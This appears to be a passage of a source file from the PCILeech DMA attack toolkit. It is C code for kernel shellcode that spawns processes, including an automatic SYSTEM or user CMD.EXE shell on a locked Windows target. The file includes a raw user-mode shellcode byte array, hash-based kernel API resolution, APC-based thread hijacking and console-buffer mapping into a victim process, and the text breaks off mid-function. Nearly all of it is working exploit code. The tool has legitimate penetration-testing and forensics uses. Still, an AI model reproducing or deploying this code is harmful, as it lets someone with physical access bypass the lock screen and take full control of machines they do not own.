Files
pcileech/pcileech_shellcode/wx64_pscreate.c
2017-12-17 22:50:07 +01:00

800 lines
32 KiB
C

// wx64_pscreate.c : create/spawn new user mode processes.
// Compatible with Windows x64.
//
// (c) Ulf Frisk, 2016
// Author: Ulf Frisk, pcileech@frizk.net
//
// compile with (wx64_pscreate):
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_WIN7_COMPAT wx64_pscreate.c
// ml64 wx64_common_a.asm /Fewx64_pscreate.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pscreate.obj wx64_common.obj
// shellcode64.exe -o wx64_pscreate.exe "PROCESS CREATOR - SPAWN NEW PROCESSES ON TARGET! \n===============================================================\nREQUIRED OPTIONS: \n -s : Executable path including command line options. \n Example: '-s c:\windows\system32\cmd.exe'. \n -0 : Parent process PID to start new process from. \n Example '-0 0x0fe0'. \nOPTIONAL OPTIONS: \n -1 : CreateProcess creation flags (dwCreationFlags) as \n specified on MSDN. Hidden Window = 0x08000000 \n -2 : Redirect input - use to spawn interactive shell. \n Example: 0x01 \n -3 : Timeout in seconds. Default: 60. \n -4 : Boost (Windows 7 only): higher success ratio, but \n parent process may crash. Example 1. Default 0. \n===== DETAILED INFORMATION AFTER PROCESS CREATION ATTEMPT =====%s\nNTSTATUS : 0x%08X \nADDITIONAL INFO : 0x%04X \n===============================================================\n"
//
// ALTERNATIVELY (wx64_pscmd):
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_PSCMD /D_PSCMD_SYSTEM /D_WIN7_COMPAT wx64_pscreate.c
// ml64 wx64_common_a.asm /Fewx64_pscmd.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pscreate.obj wx64_common.obj
// shellcode64.exe -o wx64_pscmd.exe "PROCESS CREATOR - AUTOMATICALLY SPAWN CMD.EXE ON TARGET! \n================================================================\nAutomatically spawn a CMD.EXE on the target system. This utility\nonly work if the target system is locked and the login screen is\nvisible. If it takes time waiting - then please touch any key on\nthe target system. If the utility fails multiple times, please\ntry wx64_pscreate instead. \n===== DETAILED INFORMATION AFTER PROCESS CREATION ATTEMPT ======%s\nNTSTATUS : 0x%08X \nADDITIONAL INFO : 0x%04X \n================================================================\n"
//
// ALTERNATIVELY (wx64_pscmd_user):
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_PSCMD /D_PSCMD_USER /D_WIN7_COMPAT wx64_pscreate.c
// ml64 wx64_common_a.asm /Fewx64_pscmd_user.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pscreate.obj wx64_common.obj
// shellcode64.exe -o wx64_pscmd_user.exe "PROCESS CREATOR - AUTOMATICALLY SPAWN CMD.EXE AS USER ON TARGET! \n================================================================\nAutomatically spawn a CMD.EXE on the target system. This utility\nwill spawn a cmd.exe in the context of a random logged on user.\nThis will work even though the computer may be locked. If this\nutility fails multiple times, please try wx64_pscreate instead. \n===== DETAILED INFORMATION AFTER PROCESS CREATION ATTEMPT ======%s\nNTSTATUS : 0x%08X \nADDITIONAL INFO : 0x%04X \n================================================================\n"
#include "wx64_common.h"
#define MAGIC_WAIT_WORD 0x01234123412341234
#define NUM_PARALELL_APC_THREADS 3
typedef enum _LOCK_OPERATION {
IoReadAccess,
IoWriteAccess,
IoModifyAccess
} LOCK_OPERATION;
typedef enum _MM_PAGE_PRIORITY {
LowPagePriority,
NormalPagePriority = 16,
HighPagePriority = 32
} MM_PAGE_PRIORITY;
typedef enum _MEMORY_CACHING_TYPE_ORIG {
MmFrameBufferCached = 2
} MEMORY_CACHING_TYPE_ORIG;
typedef enum _KAPC_ENVIRONMENT {
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment,
InsertApcEnvironment
} KAPC_ENVIRONMENT;
typedef struct _KAPC_STATE {
LIST_ENTRY ApcListHead[MaximumMode];
struct _KPROCESS *Process;
union {
UCHAR InProgressFlags;
struct {
BOOLEAN KernelApcInProgress : 1;
BOOLEAN SpecialApcInProgress : 1;
};
};
BOOLEAN KernelApcPending;
BOOLEAN UserApcPending;
} KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;
typedef struct _KAPC {
UCHAR Type;
UCHAR SpareByte0;
UCHAR Size;
UCHAR SpareByte1;
ULONG SpareLong0;
struct _KTHREAD *Thread;
LIST_ENTRY ApcListEntry;
PVOID Reserved[3];
PVOID NormalContext;
PVOID SystemArgument1;
PVOID SystemArgument2;
CCHAR ApcStateIndex;
KPROCESSOR_MODE ApcMode;
BOOLEAN Inserted;
} KAPC, *PKAPC, *PRKAPC;
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID;
typedef CLIENT_ID *PCLIENT_ID;
typedef struct SYSTEM_THREAD_INFORMATION {
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
LARGE_INTEGER WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
LONG Priority;
LONG BasePriority;
LARGE_INTEGER ContextSwitches;
ULONG ThreadState;
ULONG WaitReason;
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[68];
LONG BasePriority;
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
SYSTEM_THREAD_INFORMATION ThreadInfos[];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef struct tdUserShellConfig {
CHAR szProcToStart[MAX_PATH];
QWORD qwAddrConsoleBuffer;
DWORD fCreateProcess;
} USERSHELL_CONFIG, *PUSERSHELL_CONFIG;
//----------------------------------------------------------------------------------------------------------
typedef struct tdKERNEL_FUNCTIONS2 {
PVOID(*IoAllocateMdl)(
_In_opt_ PVOID VirtualAddress,
_In_ ULONG Length,
_In_ BOOLEAN SecondaryBuffer,
_In_ BOOLEAN ChargeQuota,
_Inout_opt_ PVOID Irp
);
VOID(*KeInitializeApc)(
_In_ PKAPC Apc,
_In_ PETHREAD Thread,
_In_ KAPC_ENVIRONMENT TargetEnvironment,
_In_ PVOID KernelRoutine,
_In_opt_ PVOID RundownRoutine,
_In_ PVOID NormalRoutine,
_In_ KPROCESSOR_MODE Mode,
_In_ PVOID Context
);
BOOLEAN(*KeInsertQueueApc)(
_In_ PKAPC Apc,
_In_ PVOID SystemArgument1,
_In_ PVOID SystemArgument2,
_In_ UCHAR PriorityBoost
);
VOID(*KeStackAttachProcess)(
_Inout_ PEPROCESS Process,
_Out_ PRKAPC_STATE ApcState
);
VOID(*KeUnstackDetachProcess)(
_In_ PRKAPC_STATE ApcState
);
PVOID(*MmAllocateContiguousMemory)(
_In_ SIZE_T NumberOfBytes,
_In_ QWORD HighestAcceptableAddress
);
VOID(*MmFreeContiguousMemory)(
_In_ PVOID BaseAddress
);
PVOID(*MmMapLockedPagesSpecifyCache)(
_In_ PVOID MemoryDescriptorList,
_In_ KPROCESSOR_MODE AccessMode,
_In_ MEMORY_CACHING_TYPE CacheType,
_In_opt_ PVOID BaseAddress,
_In_ ULONG BugCheckOnFailure,
_In_ MM_PAGE_PRIORITY Priority
);
VOID(*MmProbeAndLockPages)(
_Inout_ PVOID MemoryDescriptorList,
_In_ KPROCESSOR_MODE AccessMode,
_In_ LOCK_OPERATION Operation
);
VOID(*ObDereferenceObject)(
_In_ PVOID Object
);
LPSTR(*PsGetProcessImageFileName)(
_In_ PEPROCESS Process
);
NTSTATUS(*PsLookupProcessByProcessId)(
_In_ HANDLE ProcessId,
_Out_ PEPROCESS *Process
);
NTSTATUS(*PsLookupThreadByThreadId)(
_In_ HANDLE ThreadId,
_Out_ PETHREAD *Thread
);
NTSTATUS(*RtlCreateUserThread)(
_In_ HANDLE ProcessHandle,
_In_ QWORD pSecurityDescriptor,
_In_ BOOLEAN fCreateSuspended,
_In_ QWORD StackZeroBits,
_In_ SIZE_T* StackReserved,
_In_ SIZE_T* StackCommit,
_In_ QWORD EntryPoint,
_In_ QWORD _opaque0,
_Out_ PHANDLE ThreadHandle,
_Out_ PCLIENT_ID ClientID
);
size_t(*strnlen)(
const char *str,
size_t numberOfElements
);
NTSTATUS(*ZwAllocateVirtualMemory)(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
NTSTATUS(*ZwOpenProcess)(
_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PCLIENT_ID ClientId
);
} KERNEL_FUNCTIONS2, *PKERNEL_FUNCTIONS2;
VOID InitializeKernelFunctions2(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS2 fnk2)
{
DWORD i = 0, NAMES[18];
NAMES[i++] = H_IoAllocateMdl;
NAMES[i++] = H_KeInitializeApc;
NAMES[i++] = H_KeInsertQueueApc;
NAMES[i++] = H_KeStackAttachProcess;
NAMES[i++] = H_KeUnstackDetachProcess;
NAMES[i++] = H_MmAllocateContiguousMemory;
NAMES[i++] = H_MmFreeContiguousMemory;
NAMES[i++] = H_MmMapLockedPagesSpecifyCache;
NAMES[i++] = H_MmProbeAndLockPages;
NAMES[i++] = H_ObDereferenceObject;
NAMES[i++] = H_PsGetProcessImageFileName;
NAMES[i++] = H_PsLookupProcessByProcessId;
NAMES[i++] = H_PsLookupThreadByThreadId;
NAMES[i++] = H_RtlCreateUserThread;
NAMES[i++] = H_strnlen;
NAMES[i++] = H_ZwAllocateVirtualMemory;
NAMES[i++] = H_ZwOpenProcess;
while(i) {
i--;
*((PQWORD)fnk2 + i) = (QWORD)PEGetProcAddressH(qwNtosBase, NAMES[i]);
}
}
//----------------------------------------------------------------------------------------------------------
// USER MODE SHELLCODE ASSIGNMENT BELOW:
//----------------------------------------------------------------------------------------------------------
#ifndef _EXEC_USER_EXTERNAL
VOID GetUserExecShellcode(_In_ PKMDDATA pk, _Out_ PBYTE *ppb, _Out_ PDWORD pcb)
{
UNREFERENCED_PARAMETER(pk);
BYTE wx64_exec_user_bin[] = {
0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8d, 0x0d, 0x49, 0x00, 0x00, 0x00, 0xf0,
0x0f, 0xb0, 0x11, 0x75, 0x42, 0x48, 0x8d, 0x0d, 0xe8, 0xff, 0xff, 0xff,
0x48, 0x81, 0xe1, 0x00, 0xf0, 0xff, 0xff, 0x65, 0x48, 0x8b, 0x14, 0x25,
0x30, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18,
0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x12, 0x48, 0x8b, 0x12, 0x48, 0x8b,
0x52, 0x20, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83,
0xec, 0x20, 0xe8, 0xe1, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3,
0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74,
0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x48, 0x63, 0x41, 0x3c, 0x4c,
0x8b, 0xc9, 0x8b, 0xf2, 0x44, 0x8b, 0x84, 0x08, 0x88, 0x00, 0x00, 0x00,
0x4c, 0x03, 0xc1, 0x45, 0x8b, 0x50, 0x20, 0x45, 0x8b, 0x58, 0x24, 0x4c,
0x03, 0xd1, 0x41, 0x8b, 0x58, 0x1c, 0x4c, 0x03, 0xd9, 0x41, 0x8b, 0x78,
0x18, 0x48, 0x03, 0xd9, 0x33, 0xc9, 0x85, 0xff, 0x74, 0x2d, 0x41, 0x8b,
0x12, 0x49, 0x03, 0xd1, 0x45, 0x33, 0xc0, 0xeb, 0x0d, 0x0f, 0xb6, 0xc0,
0x48, 0xff, 0xc2, 0x41, 0xc1, 0xc8, 0x0d, 0x44, 0x03, 0xc0, 0x8a, 0x02,
0x84, 0xc0, 0x75, 0xed, 0x44, 0x3b, 0xc6, 0x74, 0x1c, 0xff, 0xc1, 0x49,
0x83, 0xc2, 0x04, 0x3b, 0xcf, 0x72, 0xd3, 0x33, 0xc0, 0x48, 0x8b, 0x5c,
0x24, 0x08, 0x48, 0x8b, 0x74, 0x24, 0x10, 0x48, 0x8b, 0x7c, 0x24, 0x18,
0xc3, 0x41, 0x0f, 0xb7, 0x0c, 0x4b, 0x8b, 0x04, 0x8b, 0x49, 0x03, 0xc1,
0xeb, 0xe3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b,
0x41, 0x78, 0x48, 0x8b, 0xd9, 0x33, 0xc9, 0x48, 0x89, 0x08, 0x39, 0x8b,
0x88, 0x00, 0x00, 0x00, 0x74, 0x22, 0x89, 0x8b, 0x88, 0x00, 0x00, 0x00,
0x48, 0x8b, 0x4b, 0x58, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x4b, 0x50, 0xff,
0x53, 0x08, 0x48, 0x8b, 0x4b, 0x60, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x4b,
0x68, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x43, 0x70, 0x48, 0xb9, 0xac, 0xda,
0x37, 0x13, 0x00, 0x22, 0xda, 0xfe, 0x48, 0x89, 0x08, 0x48, 0x8b, 0x43,
0x78, 0x48, 0x89, 0x08, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc,
0x40, 0x53, 0x48, 0x83, 0xec, 0x70, 0xba, 0x68, 0x00, 0x00, 0x00, 0x48,
0x8b, 0xd9, 0x8d, 0x4a, 0xd8, 0xff, 0x53, 0x30, 0xc7, 0x00, 0x68, 0x00,
0x00, 0x00, 0xc7, 0x40, 0x3c, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x13,
0x48, 0x83, 0xba, 0x08, 0x01, 0x00, 0x00, 0x00, 0x74, 0x18, 0x48, 0x8b,
0x4b, 0x60, 0x48, 0x89, 0x48, 0x58, 0x48, 0x8b, 0x4b, 0x68, 0x48, 0x89,
0x48, 0x50, 0x48, 0x8b, 0x4b, 0x60, 0x48, 0x89, 0x48, 0x60, 0x48, 0x8b,
0x13, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x4c, 0x24, 0x48, 0x45,
0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x40, 0x45, 0x33, 0xc0, 0x48, 0x83,
0x64, 0x24, 0x38, 0x00, 0x33, 0xc9, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00,
0x8b, 0x82, 0x10, 0x01, 0x00, 0x00, 0x89, 0x44, 0x24, 0x28, 0xc7, 0x44,
0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0xff, 0x53, 0x18, 0x85, 0xc0, 0x74,
0x26, 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x8b, 0x80, 0x00, 0x00,
0x00, 0x48, 0x8b, 0x0b, 0x48, 0x83, 0xb9, 0x08, 0x01, 0x00, 0x00, 0x00,
0x74, 0x08, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0xff, 0x53, 0x08, 0xb8, 0x01,
0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x70, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc,
0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48,
0x89, 0x70, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xe9, 0xc7,
0x40, 0xc8, 0xfb, 0x97, 0xfd, 0x0f, 0xc7, 0x40, 0xcc, 0x80, 0x8f, 0x0c,
0x17, 0x48, 0x8d, 0x7a, 0x48, 0xc7, 0x40, 0xd0, 0x72, 0xfe, 0xb3, 0x16,
0x48, 0x8d, 0x70, 0xec, 0xc7, 0x40, 0xd4, 0x6b, 0xd0, 0x2b, 0xca, 0xbb,
0x09, 0x00, 0x00, 0x00, 0xc7, 0x40, 0xd8, 0x74, 0xab, 0x30, 0xac, 0xc7,
0x40, 0xdc, 0xfa, 0x97, 0x02, 0x4c, 0xc7, 0x40, 0xe0, 0x16, 0x65, 0xfa,
0x10, 0xc7, 0x40, 0xe4, 0xb0, 0x49, 0x2d, 0xdb, 0xc7, 0x40, 0xe8, 0x1f,
0x79, 0x0a, 0xe8, 0x48, 0x8d, 0x76, 0xfc, 0x48, 0x8b, 0xcd, 0x8b, 0x16,
0x48, 0x8d, 0x7f, 0xf8, 0xe8, 0xeb, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x07,
0x83, 0xc3, 0xff, 0x75, 0xe6, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b,
0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50,
0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0xc1, 0x48,
0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, 0x89, 0x80, 0x00, 0x00, 0x00, 0xff,
0x50, 0x28, 0x33, 0xc9, 0x85, 0xc0, 0x74, 0x0f, 0x81, 0x7c, 0x24, 0x30,
0x03, 0x01, 0x00, 0x00, 0x75, 0x05, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x8b,
0xc1, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,
0x10, 0x56, 0x48, 0x83, 0xec, 0x30, 0x83, 0xb9, 0x88, 0x00, 0x00, 0x00,
0x00, 0x48, 0x8b, 0xd9, 0x0f, 0x84, 0xab, 0x00, 0x00, 0x00, 0xbe, 0x00,
0x08, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xa5, 0xff, 0xff, 0xff, 0x85,
0xc0, 0x0f, 0x84, 0x96, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x43, 0x70, 0x4c,
0x8b, 0x4b, 0x78, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x8b, 0x48, 0x10,
0x41, 0x8b, 0x51, 0x08, 0x81, 0xe1, 0xff, 0x07, 0x00, 0x00, 0x81, 0xe2,
0xff, 0x07, 0x00, 0x00, 0x3b, 0xca, 0x8b, 0xc2, 0x48, 0x8b, 0x4b, 0x58,
0x77, 0x08, 0x44, 0x8b, 0xc6, 0x44, 0x2b, 0xc2, 0xeb, 0x03, 0x45, 0x33,
0xc0, 0x49, 0x8d, 0x51, 0x68, 0x48, 0x03, 0xd0, 0x4c, 0x8d, 0x4c, 0x24,
0x40, 0xff, 0x53, 0x38, 0x85, 0xc0, 0x74, 0x4d, 0x48, 0x8b, 0x4b, 0x78,
0x8b, 0x44, 0x24, 0x40, 0x48, 0x01, 0x41, 0x08, 0xeb, 0x1d, 0x83, 0xbb,
0x88, 0x00, 0x00, 0x00, 0x00, 0x74, 0x36, 0x48, 0x8b, 0xcb, 0xe8, 0x35,
0xff, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x1d, 0xb9, 0x0a, 0x00, 0x00, 0x00,
0xff, 0x53, 0x40, 0x48, 0x8b, 0x4b, 0x78, 0x48, 0x8b, 0x43, 0x70, 0x48,
0x8b, 0x49, 0x08, 0x48, 0x2b, 0x48, 0x10, 0x48, 0x3b, 0xce, 0x73, 0xce,
0x83, 0xbb, 0x88, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x85, 0x5a, 0xff, 0xff,
0xff, 0x48, 0x8b, 0xcb, 0xe8, 0x5b, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x5c,
0x24, 0x48, 0x48, 0x83, 0xc4, 0x30, 0x5e, 0xc3, 0x40, 0x53, 0x48, 0x83,
0xec, 0x30, 0x83, 0xb9, 0x88, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9,
0x74, 0x78, 0x48, 0x8b, 0xcb, 0xe8, 0xda, 0xfe, 0xff, 0xff, 0x85, 0xc0,
0x74, 0x6c, 0x48, 0x8b, 0x53, 0x78, 0x48, 0x8b, 0x4b, 0x70, 0x48, 0x8b,
0x42, 0x10, 0x48, 0x39, 0x41, 0x08, 0x75, 0x0a, 0xb9, 0x0a, 0x00, 0x00,
0x00, 0xff, 0x53, 0x40, 0xeb, 0x47, 0x44, 0x8b, 0x41, 0x08, 0x48, 0x8d,
0x51, 0x68, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4c, 0x8d, 0x4c, 0x24,
0x40, 0x48, 0x8b, 0x4b, 0x50, 0x25, 0xff, 0x07, 0x00, 0x00, 0x41, 0x81,
0xe0, 0xff, 0x07, 0x00, 0x00, 0x48, 0x03, 0xd0, 0x41, 0x3b, 0xc0, 0x72,
0x06, 0x41, 0xb8, 0x00, 0x08, 0x00, 0x00, 0x44, 0x2b, 0xc0, 0xff, 0x53,
0x48, 0x85, 0xc0, 0x74, 0x15, 0x48, 0x8b, 0x4b, 0x78, 0x8b, 0x44, 0x24,
0x40, 0x48, 0x01, 0x41, 0x10, 0x83, 0xbb, 0x88, 0x00, 0x00, 0x00, 0x00,
0x75, 0x88, 0x48, 0x8b, 0xcb, 0xe8, 0xbe, 0xfc, 0xff, 0xff, 0x48, 0x83,
0xc4, 0x30, 0x5b, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74,
0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xfa, 0x48, 0x8b,
0xd9, 0x48, 0x8b, 0xcf, 0xba, 0xfa, 0x97, 0x02, 0x4c, 0xe8, 0x06, 0xfc,
0xff, 0xff, 0xba, 0x90, 0x00, 0x00, 0x00, 0x8d, 0x4a, 0xb0, 0xff, 0xd0,
0x48, 0x8d, 0x8b, 0xe8, 0x0e, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x89,
0x08, 0x48, 0x8d, 0x50, 0x08, 0x48, 0x8b, 0xcf, 0xe8, 0x83, 0xfd, 0xff,
0xff, 0x48, 0x8b, 0x0e, 0x48, 0x83, 0xb9, 0x08, 0x01, 0x00, 0x00, 0x00,
0x74, 0x7b, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x4c, 0x8d, 0x44, 0x24,
0x30, 0xc7, 0x44, 0x24, 0x30, 0x18, 0x00, 0x00, 0x00, 0x48, 0xba, 0x21,
0x95, 0xef, 0xdf, 0x32, 0x12, 0x65, 0x12, 0xbf, 0x01, 0x00, 0x00, 0x00,
0xbb, 0x00, 0x08, 0x00, 0x00, 0x89, 0x7c, 0x24, 0x40, 0x44, 0x8b, 0xcb,
0x48, 0x8b, 0x06, 0x48, 0x8b, 0x88, 0x08, 0x01, 0x00, 0x00, 0x48, 0x89,
0x4e, 0x70, 0x48, 0x8b, 0x80, 0x08, 0x01, 0x00, 0x00, 0x48, 0x05, 0x00,
0x10, 0x00, 0x00, 0x48, 0x89, 0x46, 0x78, 0x48, 0x89, 0x11, 0x48, 0x8d,
0x4e, 0x68, 0x48, 0x8b, 0x46, 0x78, 0x48, 0x89, 0x10, 0x48, 0x8d, 0x56,
0x50, 0xff, 0x56, 0x10, 0x48, 0x8d, 0x56, 0x60, 0x44, 0x8b, 0xcb, 0x48,
0x8d, 0x4e, 0x58, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0xff, 0x56, 0x10, 0x89,
0xbe, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xce, 0xe8, 0x3f, 0xfc, 0xff,
0xff, 0x85, 0xc0, 0x75, 0x0a, 0x48, 0x8b, 0xce, 0xe8, 0xd7, 0xfb, 0xff,
0xff, 0xeb, 0x45, 0x48, 0x8b, 0x06, 0x48, 0x83, 0xb8, 0x08, 0x01, 0x00,
0x00, 0x00, 0x74, 0x38, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x4c, 0x8d,
0x05, 0x6b, 0xfe, 0xff, 0xff, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4c, 0x8b,
0xce, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56, 0x20, 0x48, 0x83, 0x64, 0x24,
0x28, 0x00, 0x4c, 0x8d, 0x05, 0x77, 0xfd, 0xff, 0xff, 0x83, 0x64, 0x24,
0x20, 0x00, 0x4c, 0x8b, 0xce, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56, 0x20,
0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x74, 0x24, 0x68, 0x48, 0x83,
0xc4, 0x50, 0x5f, 0xc3
};
*ppb = wx64_exec_user_bin; // user data
*pcb = sizeof(wx64_exec_user_bin);
}
#endif /* ! _EXEC_USER_EXTERNAL */
#ifdef _EXEC_USER_EXTERNAL
VOID GetUserExecShellcode(_In_ PKMDDATA pk, _Out_ PBYTE *ppb, _Out_ PDWORD pcb)
{
*ppb = pk->ReservedKMD[2]; // user data
*pcb = 0x1000 - (pk->ReservedKMD[2] & 0xfff);
}
#endif /* _EXEC_USER_EXTERNAL */
//----------------------------------------------------------------------------------------------------------
// USER MODE CODE SETUP BELOW:
//----------------------------------------------------------------------------------------------------------
NTSTATUS IntializeUserModeCode(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, PBYTE pb, QWORD qwAddrConsoleBuffer)
{
PBYTE pbCodeUser;
DWORD cbCodeUser;
GetUserExecShellcode(pk, &pbCodeUser, &cbCodeUser);
pk->ReservedKMD[4] = 0x7777666677776666;
pk->ReservedKMD[5] = pbCodeUser;
pk->ReservedKMD[6] = cbCodeUser;
pk->ReservedKMD[6] = *(PQWORD)pbCodeUser;
PUSERSHELL_CONFIG pCfg = (PUSERSHELL_CONFIG)(pb + 0x1000 - sizeof(USERSHELL_CONFIG));
SIZE_T cchProcToStart = fnk2->strnlen(pk->dataInStr, MAX_PATH);
if(cchProcToStart == 0) {
return E_INVALIDARG;
}
fnk->RtlZeroMemory(pb, 0x1000);
fnk->RtlCopyMemory(pb, pbCodeUser, cbCodeUser);
fnk->RtlCopyMemory(pCfg->szProcToStart, pk->dataInStr, MAX_PATH);
pCfg->fCreateProcess = (DWORD)pk->dataIn[1];
pCfg->qwAddrConsoleBuffer = qwAddrConsoleBuffer;
return S_OK;
}
/*
* Initialized a 2-page console buffer inside the user mode process used for
* thread hi-jacking. The pages are allocated from the NoPagedPool. On success
* the memory and the MDL object allocated will be "leaked". On exit the physical
* memory location be written to dataOut[2], dataInConsoleBuffer and dataOutConsoleBuffer.
* NB! needs to be run insode a KeStackAttachProcess section.
*/
QWORD SetupConsoleBufferUserMode(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2)
{
PVOID pvMemory;
PVOID pMdl;
QWORD qwMemoryMapped;
// Allocate and Zero memory.
pvMemory = fnk->ExAllocatePool(0, 0x2000);
if(!pvMemory) {
return NULL;
}
fnk->RtlZeroMemory(pvMemory, 0x2000);
// Allocate MDL.
pMdl = fnk2->IoAllocateMdl(pvMemory, 0x2000, FALSE, FALSE, NULL);
if(!pMdl) {
fnk->ExFreePool(pvMemory);
return NULL;
}
fnk2->MmProbeAndLockPages(pMdl, KernelMode, IoModifyAccess);
// Map the memory into the target process.
qwMemoryMapped = fnk2->MmMapLockedPagesSpecifyCache(pMdl, UserMode, MmCached, NULL, FALSE, NormalPagePriority);
if(!qwMemoryMapped) {
fnk->ExFreePool(pvMemory);
return NULL;
}
// finish
pk->dataInConsoleBuffer = fnk->MmGetPhysicalAddress((PVOID)qwMemoryMapped);
pk->dataOutConsoleBuffer = fnk->MmGetPhysicalAddress((PVOID)(qwMemoryMapped + 0x1000));
pk->dataOut[2] = pvMemory;
pk->dataOut[3] = qwMemoryMapped;
return qwMemoryMapped;
}
//----------------------------------------------------------------------------------------------------------
// Windows 7 APC ROUTINES BELOW (WORKAROUND FOR MISSING ntoskrnl!RtlCreateUserThread).
//----------------------------------------------------------------------------------------------------------
#ifdef _WIN7_COMPAT
/*
* The KernelApcRoutine is called after the user mode APC is completed.
*/
VOID KernelApcRoutine(_In_ struct _KAPC *Apc, _Inout_ PVOID *NormalRoutine, _Inout_ PVOID *NormalContext, _Inout_ PVOID *SystemArgument1, _Inout_ PVOID *SystemArgument2)
{
PKMDDATA pk;
VOID(*fnExFreePool)(PVOID);
UNREFERENCED_PARAMETER(NormalRoutine);
UNREFERENCED_PARAMETER(NormalContext);
if(SystemArgument1 && *SystemArgument1) {
pk = (PKMDDATA)*SystemArgument1;
pk->dataOut[9] = MAGIC_WAIT_WORD;
}
if(SystemArgument2 && *SystemArgument2) {
